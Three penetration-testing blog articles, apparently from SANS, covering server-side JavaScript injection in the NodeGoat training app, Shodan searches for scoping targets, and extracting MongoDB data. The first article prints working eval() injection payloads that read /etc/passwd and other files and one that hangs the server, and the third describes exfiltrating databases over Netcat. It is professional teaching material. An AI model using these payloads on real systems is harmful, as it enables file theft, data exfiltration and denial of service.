Pen Testing Node.js: Staying N Sync Can Make the Server Go Bye Bye Bye

By Tim Medin

I recently came across a node.js server in a pen test. If you aren’t familiar with node.js, Wikipedia describes it as “…an  open-source,  cross-platform  runtime environment  for developing  server-side  web applications. Node.js applications are written in  JavaScript  and can be run within the Node.js runtime on a wide variety of platforms.”

For my pen test, there was JavaScript everywhere! JS on the Server, JS on the client, JS from the server to the client, JS from the client to the server….

Wait a second! This app is sending JavaScript (actual code, not data) from the client to the server. Uh Oh! Time for some code injection (or more accurately Server Side JavaScript Injection, SSJI or SSJSI).

Of course I can’t share the code I was testing with you, so let’s run through a similar scenario in the NodeGoat.js.

Tim1

The data posted in this page looks like this:

preTax=0roth=0&afterTax=0

To test for code injection, we could simply change one of the zeros to 1+1 (encoded as 1%2b1) and see if the results are stored as 2.

preTax=0roth=0&afterTax=1%2b1

Tim2

Success!  Yay!

Let’s take a look at the backend file (contributions.js) to find the vulnerability.

this.handleContributionsUpdate = function(req, res, next) {
    /*jslint evil: true */
    // Insecure use of eval() to parse inputs
    var preTax = eval(req.body.preTax);
    var afterTax = eval(req.body.afterTax);
    var roth = eval(req.body.rot);

The problem is that the code uses eval() on data submitted from the user. We need better JavaScript to extract information from the server. If we look at the NodeGoat tutorial,  it describes a few ways to cause a denial of service condition by using all the processor time, blocking the thread, or killing the current process. Of course, we want to avoid a DoS condition.

The tutorial also describes how we can access the file system with this code:

Current directory contents

res.end(require('fs').readdirSync('.').toString())

Parent directory contents

res.end(require('fs').readdirSync('..').toString())

Contents of a file

res.end(require('fs').readFileSync(filename))

But wait a second! The server is single threaded and we are calling the synchronous methods (notice “Sync” in the name). These functions will wait until the read operation is done before passing execution back to Node. If you happen to read a large file (or accidently read a special file or fifo) the whole server will hang. Let’s test by reading /dev/random.

preTax=res.end(require('fs').readFileSync('/dev/random'))&roth=0&afterTax=0

…And it hangs…

…for EVERYONE!

Of course, we would avoid this file but you may accidently end up reading the wrong file or a large file and hanging the server. The more robust and safer solution is to use an asynchronous call to read files. The asynchronous calls need a callback function  to handle the processed data. Below is a post that will read /etc/passwd with an asynchronous call.

preTax=require('fs').readFile('/etc/passwd',function(err,data){if(!err){res.end(data.toString())}})&roth=0&afterTax=0

Pretty formatting of the read function looks like this:

require('fs').readFile('/etc/passwd',function(err,data){
    if(!err){
        res.end(data.toString())
    }
})

The anonymous callback function is run after the file has been read. If the read is successful (no error), then the contents are output. We can automatically encode the file contents (of a binary file) by adding an encoding option (base64 in the example below).

preTax=require('fs').readFile('app/assets/secret.zip','base64',function(err,data){if(!err){res.end(data.toString())}})&roth=0&afterTax=0

And if we accidently read a large file it doesn’t kill the server…. Oh yeah!  Nice!

SSJI vulnerabilities give us a lot of access to the server, but be very careful. The synchronous code is much easier to write, but it can DoS the server if used incorrectly.

So, have fun testing for Server-Side Javascript Injection, but remember to be careful not to hang the target machine!

-Tim Medin

Counter Hack

Getting the Most Out of Shodan Searches

By Joshua Wright and Jeff McJunkin

Shodan is a search engine that takes a distinct departure from most Internet search engines. Instead of searching through content intentionally served up and delivered to web browsers, Shodan allows us to search for Internet-connected devices. Created by John Matherly, Shodan uses distributed scanners throughout the world to randomly select target IP addresses and identify listening TCP and UDP ports. Listening ports are further enumerated to gather protocol banners, web pages, and other service data. All of this data is then added to an enormous, searchable database that describes the “what” of Internet devices.

shodan1

Shodan’s search feature is powerful, allowing us to specify generic terms such as “camera” or even a specific part number such as “WVC80N” and quickly identify the devices that match.

shodan2

 

Beyond the web interface, Shodan offers a full-featured API and command-line tools to search and parse the Internet-device results. In this article we’ll focus on using the web interface for effective device searches, as well as tips to use Shodan in your next penetration test.

Default Search Behavior

By default, Shodan’s website search feature will use a search term as an exact expression in a string match. Shodan does not do incomplete word matching (e.g. “WVC80” will not return matches against “WVC80N”), and will treat multiple words as a logical AND expression. Common words (a, and, by, the, is, on, it) are ignored.

The basic search will perform string matching against server banner information without searching through additional protocol metadata that is also gathered about the discovered devices. The Shodan documentation doesn’t disclose exactly what protocol data is used in the default search, but empirical analysis indicates that it includes at least the following:

  • HTTP header information
  • HTTPS header and certificate information
  • Several gaming server banners (Steam’s A2S, Minecraft, and more)
  • FTP banners
  • NetBIOS server banner
  • SSH header and server key data
  • Telnet banner
  • SMTP banner
  • NTP banner
  • SIP/VoIP banner
  • DNS server configuration settings
  • And more!

shodan3

Metadata about a service is not searched by default. This list includes:

  • HTML title tag content
  • HTML header and body content
  • Physical location (via IP geolocation)
  • Autonomous System Number (ASN)
  • Internet Service Provider (by name, such as “Verizon Wireless”)

Shodan Search Operators

To perform more advanced searches using Shodan, we can apply search operators. Search operators are only available to registered users. It’s free to create an account, which will also give you an API key for use with Shodan’s command-line tool.

Once you are logged-in, you can apply additional search modifiers to focus your search. Search operators include:

  • title: Search the content scraped from the HTML tag
  • html: Search the full HTML content of the returned page
  • product: Search the name of the software or product identified in the banner
  • net: Search a given netblock (example: 204.51.94.79/18)
  • version: Search the version of the product
  • port: Search for a specific port or ports
  • os: Search for a specific operating system name
  • country: Search for results in a given country (2-letter code)
  • city: Search for results in a given city

Some filters allow multiple values, such as “postal:97201,97202”.

By default, multiple search terms are treated as Boolean AND expressions. You can also negate a particular prefix with the “!” character at the beginning of the search operator. For example, to search for machines running Outlook Web Access on ports other than 80 and 443, you can combine the title and port operators as follows:

Shodan 4

Search query: title:”Outlook Web Access” !port:443,80

Applying Shodan in your Pen Test

It’s easy to disregard Shodan as offering functionality to find vulnerable devices: an opportunistic attack tool. However, to do so is to overlook the benefits that Shodan can offer you and your customers in a penetration test.

Answering Questions About Similar Vulnerabilities
When putting together a report for a customer, I try to answer the inevitable question “How many others are similarly vulnerable?” Sometimes this question is in an attempt to justify a vulnerable configuration as commonplace or industry standard, or as a defensive mechanism for explaining why they continue to run Outlook Web Access on an IIS 5.0 server.

Using Shodan, you can quickly use the search criteria described in this article to answer that question. At the time of this writing, there appear to be no fewer than 18 publicly accessible IIS/5.0 servers running Outlook Web Access. Adding this level of detail to a penetration test report can help your customer to better understand the nature of the risk in the context of other similar configurations.

Search query: Microsoft-IIS/4.0 title:"outlook web"

Search query: Microsoft-IIS/4.0 title:”outlook web”

Scoping Targets by Network
Shodan can quickly disclose information about target devices scoped to a specific range of IP addresses. This can be useful for helping to get a quick understanding of your customer’s assets and the services on those assets as known to Shodan.

For example, this author’s office Internet access uses IP addresses in 100.10.23.0/24 block through Verizon FIOS. I can ask Shodan how many people with IP addresses in my network also have their routers available for remote authentication and access. Apparently, it’s far too many.

Search query: net:100.10.23.0/24 unauthorized

Search query: net:100.10.23.0/24 unauthorized

Scoping Targets Without IP Ranges
Sometimes the point of contact you are working with to scope your penetration test might not be aware of the company’s entire web presence. By searching for identifying features of the website (such as the copyright notice), you may be able to find lesser-known sites for a given organization.

As a penetration tester, identifying targets that are owned by an organization that they don’t know allows you to clearly demonstrate your value and usefulness as a security analyst.

For example, a search for html:”eBay Inc. All Rights Reserved” shows a small number of sites (eBay has excluded a lot of their web properties from Shodan) that may not be as well known:

Search query: html:"eBay Inc. All Right Reserved"

Search query: html:”eBay Inc. All Right Reserved”

If your target is large enough to have Regional Internet Registry allocations (where the WHOIS information reflects the organization name), you can combine negative searches to exclude the known ranges with the html filter (searching for copyright or other unique strings) or the “org” filter.

Search query: title:"eBay Deals" -org:"EBAY"

Search query: title:”eBay Deals” -org:”EBAY”

Shodan and You

Using the power of Shodan and some creative thinking, you can provide additional value to your penetration tests. Use some of these ideas in your next pen test and see if you can find some targets that were supposed be in scope, but weren’t!  Above all, have fun discovering new things on the Internet and providing more value to target system personnel.

-Josh Wright and Jeff McJunkin

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

NoSQL? No Problem! Pillaging MongoDB for Fun and Profit

By Josh Wright

Database technology continues to evolve to meet different application needs. One example of this is the adoption of NoSQL databases used by many different modern web applications. NoSQL databases depart from the traditional table-based storage mechanisms widely known and loved (mildly appreciated?), and instead store simple key-value data pairs, JSON documents, graph data, or tuples (and variations of these types).

A popular NoSQL database type is MongoDB. MongoDB falls under the document-based NoSQL storage model, requiring that all data is stored in JSON-formatted documents. This integrates nicely with lots of web applications that need fast access to data in a format that’s convenient and easy to work with.

As a pen tester, I’ve run across some MongoDB databases. Here are some tips on effectively pillaging MongoDB.

MongoDB Files

From your shell, look for a MongoDB process running. Check for command-line arguments that indicate the location of the mongodb.conf configuration file. If the mongod process isn’t running, still check the usual places for a mongodb.conf file (/etc, /usr/local/etc, et cetera).

pillagingmongodb-0

The mongodb.conf file is straightforward, but it has a lot of whitespace and comments. The interesting entry is “dbpath”, which points to the location of the database files.

pillagingmongodb-1

The MongoDB files themselves require a little explanation:

pillagingmongodb-2

  • cust.0, local.0 – These are database files for MongoDB. Each MongoDB instance has “local” as a database, and one or more additional user databases. Database files are preallocated in size and populated as needed, growing to “cust.1”, “cust.2” as needed.
  • cust.ns, local.ns – Namespace files, which also store indexes and collections of data within a database (conveniently referred to as a “collection”; more on collections below).
  • journal/ – Used for transaction logging and recovery following a MongoDB crash.
  • mongod.lock – Present when MongoDB is running, removed when it stops cleanly.
  • storage.bson – MongoDB storage metadata resource.
  • _tmp – Temporary use directory by MongoDB.

MongoDB Data Replication

You can inspect data locally on the server, or tar up the mongodb directory and copy it to a local box for analysis.

Use any file transfer technique you have available; I’m using Netcat here. First, on my analysis system:

pillagingmongodb-3

 

Next, tar and send the data to your listener:

pillagingmongodb-4

Returning to the analysis system, we have the extracted data available:

pillagingmongodb-5

I’m using a Mac for analysis with Homebrew for package management. Installing MongoDB is a simple “brew install mongodb” for me. Debian-based Linux users can use “apt-get install mongodb”.

Once MongoDB is installed, create a simple configuration file as shown then start the mongod process with the “–config” argument. You can put it in the same directory as the database files:

pillagingmongodb-6

With a local copy of the data, we can start to examine the database, collection, and document data.

Tip: If you get the error message “old lock file: ./mongod.lock. it probably means unclean shutdown” and mongod.lock exists, remove the mongod.lock file and start mongod again.

MongoDB Data Inspection

The “mongo” utility is used to access the local MongoDB data files locally. By default, this requires no authentication. First, we query the available databases (these names also match the *.ns files in the dbpath directory):

pillagingmongodb-7

Here we see the two databases as expected: cust, and local. The local database is used for instance-specific data, while the cust database is data stored by the customer application. Next, we switch from the default database name of “test” to the “cust” database and enumerate the available collections:

pillagingmongodb-8

In MongoDB, a collection is a grouping of documents within a database. Logically, it’s like a table in a traditional RDBMS system, but without the rigid data formatting constraints. Using the constant “db” prefix, we can use the collection name and built-in collection methods available. The db.collection.findOne() method with no arguments will return the first entry in the collection:

pillagingmongodb-9

 

Tip: None of these names, passwords, credit card numbers, or phone numbers are real. Thanks.

Now that we have some information about the document structure, we can apply query operators to focus on specific data. For example, if we want to search only for the first entry where the GivenName is “Joshua”, we can use the following query with a simple JSON declaration:

pillagingmongodb-10

 

If you want to collect all the matches for a given query, use the db.collection.find() method:

pillagingmongodb-11

Here, the data is not “prettified”, but we get more than one record in the results. For more examples of using the query() method with different data sets, see the Find or Query Data with the mongo Shell article.

Using findOne() and find() you can retrieve data from the collection and database, but it’s not terribly convenient for large-scale pillaging. As an alternative, we can use the command-line tool “mongoexport”. This tool requires a database and collection name, and will generate a JSON file as the output:

pillagingmongodb-12

If you prefer, you can also export data in CSV format, but you have to specify each of the field names you want exported, as shown:

pillagingmongodb-13

MongoDB And You

With a little background information on how to interact with a MongoDB instance, you can successfully pillage useful data. Keep these steps in mind, and apply them when you encounter a MongoDB instance in your next pen test.

-Josh Wright
@joswr1ght

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02